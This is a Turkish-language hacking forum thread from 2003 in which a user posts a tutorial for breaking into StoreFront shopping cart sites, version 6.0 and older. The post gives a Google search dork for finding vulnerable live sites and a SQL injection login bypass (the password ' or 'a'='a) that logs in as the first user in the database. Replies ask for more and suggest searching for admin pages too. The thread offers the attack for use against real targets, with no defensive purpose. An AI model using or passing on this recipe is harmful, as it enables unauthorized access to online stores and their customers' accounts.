StoreFront SQL Injection [Anlatım]

[OuTLaWsys]

#################Document Written BY OuTLaWsys##############
Storefront sql injection ( 6.0 ve daha eski versiyonlar için )
07-11- 2003

1-)ilk başta google arama motoruna gidip storefront Shopping Cart lı bir site buluyoruz.
mesala allinurl:StoreFront+login+page yada başka bir şekilde aratıp sonuçlara ulaşıoruz.

Örneğin şöyle bir hedef çıkıyor karşımıza.
http://www.target.com/login.asp yada http://www.target.com/storedir/login.asp

2-)Bu açık ile sisteme kayıtlı olan databasedeki ilk user olarak login oluyoruz.Aslında açıkla yapabilceğiniz çok birşey yok.
3-)Evet artık login olma zamanı.Örnek olarak aşağıdaki login sayfasına gidioruz ve username ve passwordu aşağıdaki gibi girip hesaba girioruz.
http://www.target.com/login.asp

login : [email protected] -->
passwd : ' or 'a'='a

Written By OuTLaWsys
İzinsiz Kopyalamayınız.

 

[adres63]

güzel deneyelim bakalım devamı gelsin artık

 

[OuTLaWsys]

Kardeş dewamı forumda var iice karıştırın yeterki forumu

 

[Partizan]

ehu eLine sagLiq OutLaw yanLiz biraz eksikLer war daha basit arama fiLam.. bi daha goz gecir bence.. admin.asp vs biLirsin iste.. onlari da ekLe bence

 

[OuTLaWsys]

TAbi de artık arama kombinasyonlarını arttırmak kullanıcın kendi elinde olan bişey ben sadece bi kaç örnek verdim